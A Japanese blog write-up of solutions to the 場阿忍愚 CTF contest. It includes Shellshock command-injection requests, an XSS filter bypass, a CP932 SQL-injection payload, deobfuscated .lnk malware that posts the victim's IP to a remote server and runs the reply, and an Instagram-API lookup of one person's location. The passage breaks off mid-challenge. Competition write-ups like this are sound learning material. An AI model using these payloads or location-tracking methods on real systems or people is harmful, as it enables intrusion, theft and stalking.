読者です 読者をやめる 読者になる 読者になる

場阿忍愚CTF Writeup

この大会は2015/11/16 20:00(JST)~2016/2/7 13:00(JST)に開催されました。
長期の個人戦の大会でしたので、じっくり考えた問題もありましたが、
結果は4816点で536名中、19位という好成績でした。
解けた問題をWriteupとして書いておきます。

101: image level 1 (練習 10)

4つの画像ファイルが添付されている。
f:id:satou-y:20160207221320p:plain

f:id:satou-y:20160207221328p:plain

f:id:satou-y:20160207221336p:plain

f:id:satou-y:20160207221342p:plain

縦に並べると、フラグが表示される。

START-YAMATO-SEC!!!

111 ワットイズディス? (芸術 33)

芸術問題は全般的になんと読むかという問題になっている。
まずはこの問題。
f:id:satou-y:20160207222446p:plain

大和セキュリティ

112 cole nanee? (芸術 55)

f:id:satou-y:20160207222750p:plain


113 Lines and Boxes (芸術 222)

f:id:satou-y:20160207222913j:plain
これは英語で読む。

WORDPLAY

115 毎日使う(芸術 111)

f:id:satou-y:20160207223452j:plain


121 壱萬回 (二進術 100)

64bit実行ファイルが与えられているので、アセンブリのコードにしてみる。

# file 121-calculation 
121-calculation: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=927f46b50ed035c6d2b7194b1bea88a88a4fbbd4, not stripped
# objdump -d -M intel 121-calculation > 121-calculation.asm

アセンブリのコードを見ると、showFlagという箇所があった。

0000000000400920 <showFlag>:
  400920:	48 83 ec 08          	sub    rsp,0x8
  400924:	bf 46 00 00 00       	mov    edi,0x46
  400929:	e8 a2 fc ff ff       	call   4005d0 <putchar@plt>
  40092e:	bf 4c 00 00 00       	mov    edi,0x4c
  400933:	e8 98 fc ff ff       	call   4005d0 <putchar@plt>
  400938:	bf 41 00 00 00       	mov    edi,0x41
  40093d:	e8 8e fc ff ff       	call   4005d0 <putchar@plt>
  400942:	bf 47 00 00 00       	mov    edi,0x47
  400947:	e8 84 fc ff ff       	call   4005d0 <putchar@plt>
  40094c:	bf 5f 00 00 00       	mov    edi,0x5f
  400951:	e8 7a fc ff ff       	call   4005d0 <putchar@plt>
  400956:	bf 35 00 00 00       	mov    edi,0x35
  40095b:	e8 70 fc ff ff       	call   4005d0 <putchar@plt>
  400960:	bf 63 00 00 00       	mov    edi,0x63
  400965:	e8 66 fc ff ff       	call   4005d0 <putchar@plt>
  40096a:	bf 33 00 00 00       	mov    edi,0x33
  40096f:	e8 5c fc ff ff       	call   4005d0 <putchar@plt>
  400974:	bf 33 00 00 00       	mov    edi,0x33
  400979:	e8 52 fc ff ff       	call   4005d0 <putchar@plt>
  40097e:	bf 61 00 00 00       	mov    edi,0x61
  400983:	e8 48 fc ff ff       	call   4005d0 <putchar@plt>
  400988:	bf 31 00 00 00       	mov    edi,0x31
  40098d:	e8 3e fc ff ff       	call   4005d0 <putchar@plt>
  400992:	bf 62 00 00 00       	mov    edi,0x62
  400997:	e8 34 fc ff ff       	call   4005d0 <putchar@plt>
  40099c:	bf 38 00 00 00       	mov    edi,0x38
  4009a1:	e8 2a fc ff ff       	call   4005d0 <putchar@plt>
  4009a6:	bf 38 00 00 00       	mov    edi,0x38
  4009ab:	e8 20 fc ff ff       	call   4005d0 <putchar@plt>
  4009b0:	bf 36 00 00 00       	mov    edi,0x36
  4009b5:	e8 16 fc ff ff       	call   4005d0 <putchar@plt>
  4009ba:	bf 30 00 00 00       	mov    edi,0x30
  4009bf:	e8 0c fc ff ff       	call   4005d0 <putchar@plt>
  4009c4:	bf 65 00 00 00       	mov    edi,0x65
  4009c9:	e8 02 fc ff ff       	call   4005d0 <putchar@plt>
  4009ce:	bf 34 00 00 00       	mov    edi,0x34
  4009d3:	e8 f8 fb ff ff       	call   4005d0 <putchar@plt>
  4009d8:	bf 37 00 00 00       	mov    edi,0x37
  4009dd:	e8 ee fb ff ff       	call   4005d0 <putchar@plt>
  4009e2:	bf 64 00 00 00       	mov    edi,0x64
  4009e7:	e8 e4 fb ff ff       	call   4005d0 <putchar@plt>
  4009ec:	bf 61 00 00 00       	mov    edi,0x61
  4009f1:	e8 da fb ff ff       	call   4005d0 <putchar@plt>
  4009f6:	bf 38 00 00 00       	mov    edi,0x38
  4009fb:	e8 d0 fb ff ff       	call   4005d0 <putchar@plt>
  400a00:	bf 36 00 00 00       	mov    edi,0x36
  400a05:	e8 c6 fb ff ff       	call   4005d0 <putchar@plt>
  400a0a:	bf 34 00 00 00       	mov    edi,0x34
  400a0f:	e8 bc fb ff ff       	call   4005d0 <putchar@plt>
  400a14:	bf 37 00 00 00       	mov    edi,0x37
  400a19:	e8 b2 fb ff ff       	call   4005d0 <putchar@plt>
  400a1e:	bf 31 00 00 00       	mov    edi,0x31
  400a23:	e8 a8 fb ff ff       	call   4005d0 <putchar@plt>
  400a28:	bf 34 00 00 00       	mov    edi,0x34
  400a2d:	e8 9e fb ff ff       	call   4005d0 <putchar@plt>
  400a32:	bf 65 00 00 00       	mov    edi,0x65
  400a37:	e8 94 fb ff ff       	call   4005d0 <putchar@plt>
  400a3c:	bf 30 00 00 00       	mov    edi,0x30
  400a41:	e8 8a fb ff ff       	call   4005d0 <putchar@plt>
  400a46:	bf 34 00 00 00       	mov    edi,0x34
  400a4b:	e8 80 fb ff ff       	call   4005d0 <putchar@plt>
  400a50:	bf 32 00 00 00       	mov    edi,0x32
  400a55:	e8 76 fb ff ff       	call   4005d0 <putchar@plt>
  400a5a:	bf 65 00 00 00       	mov    edi,0x65
  400a5f:	e8 6c fb ff ff       	call   4005d0 <putchar@plt>
  400a64:	bf 31 00 00 00       	mov    edi,0x31
  400a69:	e8 62 fb ff ff       	call   4005d0 <putchar@plt>
  400a6e:	bf 33 00 00 00       	mov    edi,0x33
  400a73:	e8 58 fb ff ff       	call   4005d0 <putchar@plt>
  400a78:	bf 66 00 00 00       	mov    edi,0x66
  400a7d:	e8 4e fb ff ff       	call   4005d0 <putchar@plt>
  400a82:	bf 31 00 00 00       	mov    edi,0x31
  400a87:	e8 44 fb ff ff       	call   4005d0 <putchar@plt>
  400a8c:	bf 65 00 00 00       	mov    edi,0x65
  400a91:	e8 3a fb ff ff       	call   4005d0 <putchar@plt>
  400a96:	bf 0a 00 00 00       	mov    edi,0xa
  400a9b:	48 83 c4 08          	add    rsp,0x8
  400a9f:	e9 2c fb ff ff       	jmp    4005d0 <putchar@plt>
  400aa4:	66 2e 0f 1f 84 00 00 	nop    WORD PTR cs:[rax+rax*1+0x0]
  400aab:	00 00 00 
  400aae:	66 90                	xchg   ax,ax

0x46~0x65までのASCIIコードを文字に変換する。

FLAG_5c33a1b8860e47da864714e042e13f1e

122 DxLib遊戯如何様 (二進術 200)

オセロゲームの実行ファイルが与えられる。
1回勝っても終わらず、かなり長くかかりそうなので、うさみみハリケーンを使って勝利数を増やそうと考えた。
オセロで4回勝った時に「メモリ範囲を指定して検索」で以下の条件で検索するとメモリの箇所を特定できた。
・検索:比較単位:4
・通常検索:数値(バイト列:4)
そのメモリの箇所が勝利数のようなので、FF(=255)にして再度オセロに挑戦し、勝利したらフラグが表示された。
f:id:satou-y:20160207231809p:plain

otHeLlo_is_ReVersI

131 image level 5 (解読術 50)

9つのpngファイルが与えられる。
f:id:satou-y:20160208211419p:plain
ファイル名がMD5になっているのではないかと考え、MD5の逆変換のサイトで元の値を調べる。

8f14e45fceea167a5a36dedd4bea2543 → 7
45c48cce2e2d7fbdea1afc51c7c6ad26 → 9
1679091c5a880faf6fb5e6087eb1b2dc → 6
a87ff679a2f3e71d9181a67b7542122c → 4
c4ca4238a0b923820dcc509a6f75849b → 1
c9f0f895fb98ab9159f51fd0297e236d → 8
c81e728d9d4c2f636f067f89cc14862c → 2
e4da3b7fbbce2345d7772b0674a318d5 → 5
eccbc87e4b5ce2fe28308fd9f2a7baf3 → 3

1から順にアルファベットを並べると、フラグになった。

KOUBE-GYU

132 Ninjya Crypto (解読術 100)

忍者の暗号を解読する問題。
f:id:satou-y:20160208212055j:plain

伊賀流忍者文字の巻(伊賀市観光公式サイト)の五十音表で解読できる。
「やまといえば」で答えは「川」


133 Decrypt RSA (解読術 200)

暗号のファイルと、公開鍵のファイルが与えられる。
公開鍵の情報を見てみる。

$ openssl rsa -pubin -text < public-key.pem
Public-Key: (640 bit)
Modulus:
    00:ae:5b:b4:f2:66:00:32:59:cf:9a:6f:52:1c:3c:
    03:41:01:76:cf:16:df:53:95:34:76:ea:e3:b2:1e:
    de:6c:3c:7b:03:bd:ca:20:b3:1c:00:67:ff:a7:97:
    e4:e9:10:59:78:73:ee:f1:13:a6:0f:ec:cd:95:de:
    b5:b2:bf:10:06:6b:e2:22:4a:ce:29:d5:32:dc:0b:
    5a:74:d2:d0:06:f1
Exponent: 65537 (0x10001)
writing RSA key
-----BEGIN PUBLIC KEY-----
MGwwDQYJKoZIhvcNAQEBBQADWwAwWAJRAK5btPJmADJZz5pvUhw8A0EBds8W31OV
NHbq47Ie3mw8ewO9yiCzHABn/6eX5OkQWXhz7vETpg/szZXetbK/EAZr4iJKzinV
MtwLWnTS0AbxAgMBAAE=
-----END PUBLIC KEY-----

640bitもあるので、素因数分解するのに時間がかかりそう・・と思って、いろいろ調べてみたらRSA LABORATORIESというサイトにすでに解読されている640bitの素因数分解の情報が掲載されていた。

ここに掲載されている2つの数字の積と一致するので、この情報を使って秘密鍵を作成するプログラムを作成する。

import sys

p = 1634733645809253848443133883865090859841783670033092312181110852389333100104508151212118167511579
q = 1900871281664822113126851573935413975471896789968515493666638539088027103802104498957191261465571
e = 65537
n = p*q

def exgcd(x,y):
    r0,r1 = x,y
    a0,a1 = 1,0
    b0,b1 = 0,1
    while r1>0:
        q1 = r0/r1
        r2 = r0%r1
        a2 = a0-q1*a1
        b2 = b0-q1*b1
        r0,r1 = r1,r2
        a0,a1 = a1,a2
        b0,b1 = b1,b2
    return a0,b0,r0

d = exgcd(e,(p-1)*(q-1))[0] + (p-1)*(q-1)
exp1 = d % (p-1)
exp2 = d % (q-1)
coef = pow(q,p-2,p)

def int2bin(d):
    t = "%x"%d
    return (t if len(t)%2==0 else "0"+t).decode("hex")

def enclen(l):
    if l<0x80:
        return chr(l)
    else:
        t = int2bin(l)
        return chr(0x80+len(t))+t

def encint(n):
    t = int2bin(n)
    return "\x02"+enclen(len(t))+t

t = "".join(map(encint,[0,n,e,d,p,q,exp1,exp2,coef]))
t = "\x30"+enclen(len(t))+t

print "-----BEGIN RSA PRIVATE KEY-----"
print t.encode("base64")[:-1]
print "-----END RSA PRIVATE KEY-----"

生成した秘密鍵を使って、暗号ファイルのデータを復号する。

# openssl rsautl -decrypt -inkey secret-key.pem < flag.txt
FLAG_IS_WeAK_rSA
WeAK_rSA

151 Doubtful Files (解析術 100)

自己解凍形式型の圧縮ファイルが与えられる。
解凍すると、infファイルと、txtファイルが9個ずつ展開された。

> dir /r
   :
2014/09/05  00:18    <DIR>          .
2014/09/05  00:18    <DIR>          ..
2014/09/05  00:19                31 1.inf
                                 26 1.inf:Zone.Identifier:$DATA
2014/09/05  00:19                41 1.vbs
                                 26 1.vbs:Zone.Identifier:$DATA
2014/09/05  00:19                31 2.inf
                                 26 2.inf:Zone.Identifier:$DATA
2014/09/05  00:19                41 2.vbs
                                 26 2.vbs:Zone.Identifier:$DATA
2014/09/05  00:19                31 3.inf
                                 26 3.inf:Zone.Identifier:$DATA
2014/09/05  00:19                41 3.vbs
                                 26 3.vbs:Zone.Identifier:$DATA
2014/09/05  00:19                31 4.inf
                                 26 4.inf:Zone.Identifier:$DATA
2014/09/05  00:19                41 4.vbs
                                 26 4.vbs:Zone.Identifier:$DATA
2014/09/05  00:19                31 5.inf
                                 26 5.inf:Zone.Identifier:$DATA
2014/09/05  00:19                41 5.vbs
                                 26 5.vbs:Zone.Identifier:$DATA
2014/09/05  00:19                31 6.inf
                                 26 6.inf:Zone.Identifier:$DATA
2014/09/05  00:19                41 6.vbs
                                 26 6.vbs:Zone.Identifier:$DATA
2014/09/05  00:19                31 7.inf
                                 56 7.inf:Zone.Identifier:$DATA
2014/09/05  00:19                41 7.vbs
                                 26 7.vbs:Zone.Identifier:$DATA
2014/09/05  00:19                31 8.inf
                                 26 8.inf:Zone.Identifier:$DATA
2014/09/05  00:19                41 8.vbs
                                 57 8.vbs:Zone.Identifier:$DATA
2014/09/05  00:19                31 9.inf
                                 26 9.inf:Zone.Identifier:$DATA
2014/09/05  00:19                41 9.vbs
                                 26 9.vbs:Zone.Identifier:$DATA
              18 個のファイル                 648 バイト
               2 個のディレクトリ  1,774,628,335,616 バイトの空き領域

Zone.Identifierは基本的には26になっているが、7.infと8.vbsは数字が異なっている。7.infと8.vbsのZone.Identifierストリームを確認する。

> more < 7.inf:Zone.Identifier
[ZoneTransfer]
ZoneId=0

ZmxhZz17QWx0ZXJuYXRlIERhdG

> more < 8.vbs:Zone.Identifier
[ZoneTransfer]
ZoneId=4

EgU3RyZWFtIG9uIE5URlMhfQ==

表示された文字を結合してbase64デコードすると、
flag={Alternate Data Stream on NTFS!}となった。

Alternate Data Stream on NTFS!

152 情報漏洩 (解析術 100)

pcapファイルが与えられる。No.26~28のLeftover Capture Dataをエクスポートする。PNGファイルが分割されているようなので、No.26の不要なヘッダを削除し、連結してみる。
連結したPNGファイルにフラグが表示されている。
f:id:satou-y:20160208225259p:plain

gambare benesse

153 Speech by google translate (解析術 150)

wavファイルが与えられる。そのまま再生すると、「flag is X5kpBQJU(small)...」と音声が途中で切れている。バイナリエディタで見ると、総ファイルサイズが正しくないので、修正する。修正後のファイルで再生すると、「flag is X5kpBQJUufHdkch923SJ」と聞こえた。

X5kpBQJUufHdkch923SJ

154 Cool Gadget (解析術 200)

モザイクがかかったようなjpgファイルが与えられる。バイナリエディタで見ると、「removeme={U2FsdGVkX19DElLZ5iosaBUi9M5zUkEIeSRJkzkbf8XfGIuf2KvFOw71OJ0WmeJ0}」という箇所がある。この部分を削除して保存すると、正しく画像が表示される。
f:id:satou-y:20160208230552j:plain
削除したデータをBASE64でデコードして保存する。

import base64

b_enc = 'U2FsdGVkX19DElLZ5iosaBUi9M5zUkEIeSRJkzkbf8XfGIuf2KvFOw71OJ0WmeJ0'
b_dec = b_enc.decode('base64')

f = open('cipher.bin', 'wb')
f.write(b_dec)
f.close()

保存したファイルを見ると、先頭に「Salted__」と書いてある。
「aes-128-cbc」と書いてある箇所があるので、それをヒントに復号する。パスワードは画像に書かれている「EAHIV」を指定する。

# openssl enc -d -aes-128-cbc -in cipher.bin -out plain.txt
enter aes-128-cbc decryption password:

plain.txtを見ると、「flag={Cryptex is cool!}」と書いてある。

Cryptex is cool!

161 ftp is not secure. (電網術 50)

pcapファイルが与えられる。No.100のパケットでオブジェクトを抽出し、そのまま強引に展開する。
その中にあるflag.txtに「RkxBR3tYVEluWDY5bnF2RmFvRXd3TmJ9Cg==」と書いてある。
BASE64デコードすると、「FLAG{XTInX69nqvFaoEwwNb}\n」となる。

FLAG{XTInX69nqvFaoEwwNb}

162 ベーシック (電網術 75)

pcapファイルが与えられる。No.43のパケットのAuthorizationにhttp://burning.nsc.gr.jpと書いてある。ベーシック認証ではここは「ユーザ名:パスワード」という形式なので、http://burning.nsc.gr.jpにアクセスしてユーザ名: http、パスワード: //burning.nsc.gr.jpで認証すると、「flag={BasicIsNotSecure}」と表示された。

BasicIsNotSecure

164 Japanese kids are knowing (電網術 150)

IPアドレスと括弧書きで「ポートスキャンは苦しゅうない」とだけ書かれている。
・・というわけでポートスキャンをする。

# nmap -p 1-10000 210.146.64.34

Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-22 18:32 JST
      :
Nmap scan report for 210.146.64.34
Host is up (0.97s latency).
Not shown: 9996 closed ports
PORT     STATE    SERVICE
137/tcp  filtered netbios-ns
138/tcp  filtered netbios-dgm
514/tcp  filtered shell
5006/tcp open     unknown

Nmap done: 1 IP address (1 host up) scanned in 6519.85 seconds

5006ポートにncコマンドで接続してみる。

# nc 210.146.64.34 5006
<C-D-E-F-E-D-C---E-F-G-A-G-F-E---C-C-C-C-CCDDEEFFE-D-C->what animal am i?the flag is the md5 hash of my name in lower case.

「かえるの歌」の音符なので、「私」は「蛙」。
frogのmd5は938c2cc0dcc05f2b68c4287040cfcf71。

938c2cc0dcc05f2b68c4287040cfcf71

165 Malicious Code (電網術 200)

WiresharkのExport Objects(HTTP)でp.lnkをエクスポートする。
リンク先を見るが、途中で切れている。
再度Wiresharkで該当のパケット(No.65)を取り出してみる。

eval(function(p, a, c, k, e, d) {
	e = function(c) {
		return (c ^ < a ? '' : e(parseInt(c / a))) + ((c = c % a) ^ > 35 ? String.fromCharCode(c + 29) : c.toString(36))
	};
	if (!''.replace(/^^/, String)) {
		while (c--) d[e(c)] = k[c] ^ | ^ | e(c);
		k = [function(e) {
			return d[e]}];
		e = function() {
			return '\\w+'
		};
		c = 1
	};
	while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
	return p
}
('
    6 3(){
        1 w=R("Q:{P=O}");
        e=5 N(w.M("L * K J I H = G"));
        4 e.F().E(0)
    }
    6 p(u,d){
        1 r=5 D("C.B");
        r.A("z",u,y);
        r.v("t-s","q/x-o-n-m");
        r.l(2,k);
        r.j(d);
        4 r.i
    }
    1 u="h://g.f.c.b:a/p.9";
    1 d="8="+3();7(p(u,d));
', 
54, 54, '^|var^|^|ip^|return^|new^|function^|eval^|myaddr^|php^|60444^|38^|64^|^|^|146^|210^|https^|responseText^|send^|13056^|setOption^|urlencoded^|form^|www^|^|application^|^|Type^|Content^|^|setRequestHeader^|^|^|false^|POST^|open^|ServerXMLHTTP^|Msxml2^|ActiveXObject^|IPAddress^|item^|True^|IPEnabled^|WHERE^|Win32_NetworkAdapterConfiguration^|FROM^|SELECT^|ExecQuery^|Enumerator^|impersonate^|impersonationLevel^|winmgmts^|GetObject'.split('^|'), 0, {})) > % tmp % /x.js&%tmp%/x.js

これを読み解いていくと、次のようになる。

function ip(){
    var w=GetObject("winmgmts:{impersonationLevel=impersonate}");
    e=new Enumerator(w.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True"));
    return e.item().IPAddress(0)
}

function p(u,d){
    var r=new ActiveXObject("Msxml2.ServerXMLHTTP");
    r.open("POST",u,false);
    r.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    r.setOption(2,13056);r.send(d);
    return r.responseText
}

var u="https://210.146.64.38:60444/p.php";
var d="myaddr="+ip();

eval(p(u,d));

実際にアクセスしてみる。

$ curl -k -H "Content-Type: application/x-www-form-urlencoded" -d myaddr=10.0.2.222 https://210.146.64.38:60444/p.php
WScript.Echo('flag = {lnk is sometimes malicious}')
lnk is sometimes malicious

171 KDL (諜報術 100)

1998年にKDL (Kobe Digital Labo)がどういう人材を募集していたかという問題。
Wayback Machinehttp://www.kdl.co.jp/を調べてみる。
f:id:satou-y:20160209214233p:plain

ソフトウェア開発エンジニア

172 Mr. Nipps (諜報術 255)

山寺純社長は日本時間で今年の8月13日の朝の5時半に何処(緯度・経度)にいたかという問題。
FacebookTwitterなどを調べてみるが、それらしい日時のものは見つからない。
インスタグラムを調べてみるが、なかなか特定の日時のものを見つけるのが難しいので、APIを調べてみる。
まずjunyamaderaのユーザIDをhttp://jelled.com/instagram/lookup-user-id#で調べると、317443であることがわかる。
この情報を使い、2015/8/13 5:00~6:00で検索するようAPI Consoleで調べる。

[リクエスト]
https://api.instagram.com/v1/users/317443/media/recent/?min_timestamp=1439409600&max_timestamp=1439413200
[レスポンス]
  :(省略)
{
  "pagination":  {},
  "meta":  {
    "code": 200
  },
  "data":  [
     {
      "attribution": null,
      "tags":  ,
      "type": "image",
      "location":  {
        "latitude": 34.0409203,
        "name": "Hooters of Downtown LA",
        "longitude": -118.2672272,
        "id": 3782125
      },
      "comments":  {
        "count": 0,
        "data":  
      },
      "filter": "Normal",
      "created_time": "1439411503",
      "link": "https://www.instagram.com/p/6S_zS8JjLx/",
  :(省略)
    }
  ]
}

これでこの時間帯にいる場所(緯度・経度)がわかった。

34.0409203,-118.2672272

173 Akiko-chan (諜報術 155)

写真が与えられ、何処のwordpressサイトで見られるかという問題。
Googleで画像検索すると、ここで見つけられる。
https://twanzphobic.wordpress.com/2014/05/06/some-not-so-random-misogyny/

twanzphobic.wordpress.com

174 タナカハック (諜報術 100)

大和セキュリティの田中さんのユーザ名を探す問題。
www.yamatosecurity.comに公開されているファイルにあるというヒントがあるので、このサイトから田中ザックさん作成のファイルを探す。
「勉強会」のページの「ネットワークフォレンジックの勉強会#1」の資料を開く。プロパティを見ると作成者欄に「tanakazakkarini123」と書いてある。

tanakazakkarini123

181 search_duplicate_character_string (記述術 100)

長大な文字列から違う箇所の部分文字列で同じになる最大の文字列を答える問題。50文字で見つからなかったので、そこから探していくプログラムを作成した。

f = open('181-search_duplicate_character_string')
data = f.read()
f.close()

flag = 0
L = len(data)
l = 50
while True:
    print "try %d" % l
    for i in range(L-l):
        if data.find(data[i:i+l], i+1) > -1:
            print "answer=%d" % l
            print "index=%d" % i
            print "str=%s" % data[i:i+l]
            flag = 1
            break
    if flag == 1:
        break
    l = l - 1
f_sz!bp_$gufl=b?za>is#c|!?cxpr!i><

182 JavaScript Puzzle (記述術 200)

Javascriptの穴埋め問題。わかるところから埋めていった。ASCIIコードを文字にして結合した後、小文字にし、1を引数にしてコールするというような処理。
f:id:satou-y:20160209221014p:plain

4c0bf259050d08b8982b6ae43ad0f12be030f191

183 Count Number Of Flag's SubString! (記述術 100)

指定した文字列がフラグに何個含まれているかを返すWebシステムがあるので、フラグを探り当てる問題になっている。
「flag{」が最初に含まれていることが分かったので、それを前提にブルートフォースのプログラムを作成した。

import urllib
import urllib2

list = ['a','b','c','d','e','f','g','h','i','j', \
        'k','l','m','n','o','p','q','r','s','t', \
        'u','v','w','x','y','z','_','{','}']

flag = 'flag={'

url_pre = 'http://210.146.64.36:30840/count_number_of_flag_substring/?str='

while True:
    for i in list:
        flag_tmp = flag + i
        print flag_tmp
        url = url_pre + flag_tmp + '&count=count'
        request = urllib2.Request(url)
        response = urllib2.urlopen(request)
        data = response.read()
        if 'are 1' in data:
            flag = flag_tmp
            break
    if flag[-1:] == '}':
        break
print flag
afsfdsfdsfso_idardkxa_hgiahrei_nxnkasjdx_hfuidgire_anreiafn_dskafiudsurerfrandskjnxxr

184 解凍? (記述術 100)

txtファイルが与えられているが、実際はバイナリファイルであった。問題タイトルの通り、解凍していく必要がある。最初は手で解凍したが、再び圧縮ファイルだとわかるとマトリョーシカのように何重にも圧縮、アーカイブ化していることが予想できた。調整しながら、プログラムを作成した。

import os
import bz2
import zipfile
import tarfile
import gzip

command_no_param = 'file '

i = 0
init = 1
filename = ''
while True:
    print "%d times" % i
    if init == 1:
        filename = '184-flag.txt'
        init = 0
    command = command_no_param + filename + ' > type'
    os.system(command)
    f = open('type', 'r')
    type = f.read()
    f.close()

    if 'bzip2' in type:
        print 'bz2'
        fr = open(filename, 'rb')
        data = fr.read()
        fr.close()
        filename = 'out' + str(i)
        fw = open(filename, 'wb')
        data = bz2.decompress(data)
        fw.write(data)
        fw.close()
    elif 'Zip archive' in type:
        print 'zip'
        fr = zipfile.ZipFile(filename, 'r')
        for fname in fr.namelist():
            filename = 'out' + str(i)
            fw = open(filename, "wb")
            fw.write(fr.read(fname))
            fw.close()
        fr.close()
    elif 'tar archive' in type:
        print 'tar'
        fr = tarfile.open(filename, 'r')
        for tarinfo in fr:
            fname = tarinfo.name
        fr.extractall()
        fr.close()
        filename = 'out' + str(i)
        os.rename(fname, filename)
    elif 'gzip' in type:
        print 'gzip'
        fr = gzip.open(filename, 'rb')
        data = fr.read()
        fr.close()
        filename = 'out' + str(i)
        fw = open(filename, 'wb')
        fw.write(data)
        fw.close()
    else:
        break
    i = i + 1

解凍しきったファイルの中には「flag={6aKuZrEqxvBZUIqBOXgMclLwpQCo8OXi}」と書かれていた。

6aKuZrEqxvBZUIqBOXgMclLwpQCo8OXi

185 Make sorted Amida kuji!! (記述術 300)

あみだくじで3120が0123になるよう横棒の位置のパターンをすべて答える問題。プログラムで総当たりする。

start = '3120'
end = '0123'
rownum = 4
colnum = 3

hr = []
for i in range(rownum):
    for j in range(colnum):
        hr.append(str(i) + ' ' + str(j))

for j in range(2**12):
    bits = str(bin(j))[2:].zfill(12)

    error = 0
    addFlg = 0
    list = []
    for k in range(12):
        if bits[k:k+1] == '1':
            if addFlg == 1:
                error = 1
                break
            list.append(hr[k])
            addFlg = 1
        else:
            addFlg = 0
        if k % colnum == colnum - 1:
            addFlg = 0

    if error != 1:
        tmp = start
        for e in list:
            if e[2:] == '0':
               tmp = tmp[1:2] + tmp[0:1] + tmp[2:]
            elif e[2:] == '1':
               tmp = tmp[0:1] + tmp[2:3] + tmp[1:2] + tmp[3:]
            elif e[2:] == '2':
               tmp = tmp[0:2] + tmp[3:] + tmp[2:3]
        if tmp == end:
            for ans in list:
                print ans
            print '--------'

この結果を入力すると、「Challenge the next stage! Go to http://210.146.64.36:30840/amidakuji/?FLAG=uquqeteqeteququq」というメッセージが表示される。次のステージがあるらしい。言われたURLにアクセスすると、もっと巨大なあみだくじが・・。総当たりすることができない規模なので、場合分けして総当たりすることとした。プログラムの数が多いので、ここでの記載は省略する。これをクリアすると、「Flag Get!!Congratulations! flag={021qsyrsuq2020dtsqpq02020zqkiq202020b+tq9202020m
_q382020201q34620202qq8b6220202qk+h0l2020qesrqypq02q}」とフラグが表示された。

021qsyrsuq2020dtsqpq02020zqkiq202020b+tq9202020m_q382020201q34620202qq8b6220202qk+h0l2020qesrqypq02q

192 Network Tools (超文書転送術 100)

OSコマンドをオプション付きで実行できるようなサイトが問題になっている。Shell Shockの問題ではないかと疑ってみた。以下のようにヘッダにOSコマンドを含め、リクエストを投げてみる。

$ curl -A '() { :;}; echo Content-type:text/plain;echo;/bin/ls -l' -d 'cmd=arp' -d 'option=' http://210.146.64.37:60888/exec
<!doctype html>
<title>Network Tools Collection</title>
<link rel=stylesheet type=text/css href="/static/style.css">
<div class=page>
  <div id='menu'>
    <ul>
      <li><a href="/">Welcome</a></li>
      <li><a href="/list">Command List</a></li>
      <li><a href="/about">About</a></li>
      <li><a href="/contact">Contact Info</a></li>
    </ul>
    <div class='caption'>Network Tools ver 0.1</div>
  </div>
  <div id='content'>
    
  <div class='headline'>arp </div>
  <div class='body'>
  
    Content-type:text/plain<br />
  
    <br />
  
    total 28<br />
  
    -rwxr-xr-x 1 root root   42 Jan  2  2015 flag.txt<br />
  
    drwxrwxrwx 2 root root 4096 Dec 29 15:09 logs<br />
  
    -rwxrwxr-x 1 root root 1234 Oct 11 15:58 logs.py<br />
  
    -rwxr-xr-x 1 root root  458 Nov 28  2014 myapp.cgi<br />
  
    -rwxr-xr-x 1 root root 2300 Oct 11 15:16 nwtools.py<br />
  
    drwxr-xr-x 2 root root 4096 Dec  1  2014 static<br />
  
    drwxr-xr-x 2 root root 4096 Dec 10 05:32 templates<br />
  
    <br />
  
  </div>
  <div>
  
    <br />
  
  <a href="/list">Return</a>
  </div>

  </div>
</div>

ファイル一覧が取得できたので、同様にflag.txtファイルの中を見るコマンドを投げる。

$ curl -A '() { :;}; echo Content-type:text/plain;echo;/bin/cat flag.txt' -d 'cmd=arp' -d 'option=' http://210.146.64.37:60888/exec
<!doctype html>
<title>Network Tools Collection</title>
<link rel=stylesheet type=text/css href="/static/style.css">
<div class=page>
  <div id='menu'>
    <ul>
      <li><a href="/">Welcome</a></li>
      <li><a href="/list">Command List</a></li>
      <li><a href="/about">About</a></li>
      <li><a href="/contact">Contact Info</a></li>
    </ul>
    <div class='caption'>Network Tools ver 0.1</div>
  </div>
  <div id='content'>
    
  <div class='headline'>arp </div>
  <div class='body'>
  
    Content-type:text/plain<br />
  
    <br />
  
    flag={Update bash to the latest version!}<br />
  
    <br />
  
  </div>
  <div>
  
    <br />
  
  <a href="/list">Return</a>
  </div>

  </div>
</div>

flag.txtの中を見ることができ、フラグを取得することができた。

Update bash to the latest version!

193 箱庭XSS (超文書転送術 100)

alertを表示させる問題のようだが、alertと入れるとALERTとなってしまいalert関数をそのまま使うことができない。だが<u>などのタグはそのまま使えるようだ。いろいろ試行錯誤した結果、こう入れたらフラグが表示された。

<img src="" onerror="&#0097;&#0108;&#0101;&#0114;&#0116;('XSS')">

f:id:satou-y:20160210205717p:plain

2ztJcvm2h52WGvZxF98bcpWv

194 YamaToDo (超文書転送術 200)

ログインするとToDo情報を登録でき、自分の情報だけが登録日と一緒に表示されるようなサイトで、yamatoユーザの情報を取得する問題。PHPのコードとテーブル構造情報が添付されているので、それをもとにSQLインジェクションすることになる。文字エンコードが指定できるので、そこに脆弱性があるはずといろいろ調べる。SJISは受け付けないようになっているので、5C問題をつくことはできない・・と思ったが、CP932も基本はSJISと同じであることが分かった。
http://210.146.64.44/?ie=cp932にアクセスして、以下を登録する。

ソ', NOW()), ((select char(109,97,121)), (select `body` from `todos` as td where `user_id` = (select char(121,97,109,97,116,111)) order by `create_at` limit 1), NOW()) -- -

mayというユーザIDでログインしたので、自分の情報として表示するためにユーザIDに(select char(109,97,121))を指定した。
これで表示された文字は化けていたが、ブラウザでEUC-JPに変更するとフラグが表示された。
f:id:satou-y:20160210211902p:plain

r3m3Mb3r_5c_pr0bL3m

195 Yamatoo (超文書転送術 300)

検索サイト。PHPのコードとテーブル構造情報が添付されていて、flagというテーブルがあることがわかる。このテーブルからフラグを取り出すことが目標。だが一番の曲者がngram。指定した文字列が2バイトずつ分断されてしまう。やはりSQLインジェクションするには最初のシングルクォーテーションをなんとかしなければならない。いろいろ試した結果、シングルクォーテーションが2バイト以上あれば回避できる。またシングルクォーテーションが2連続になると最初のものはエスケープ文字として働く。以下を試したら、それぞれ有効なSQLの結果が得られた。

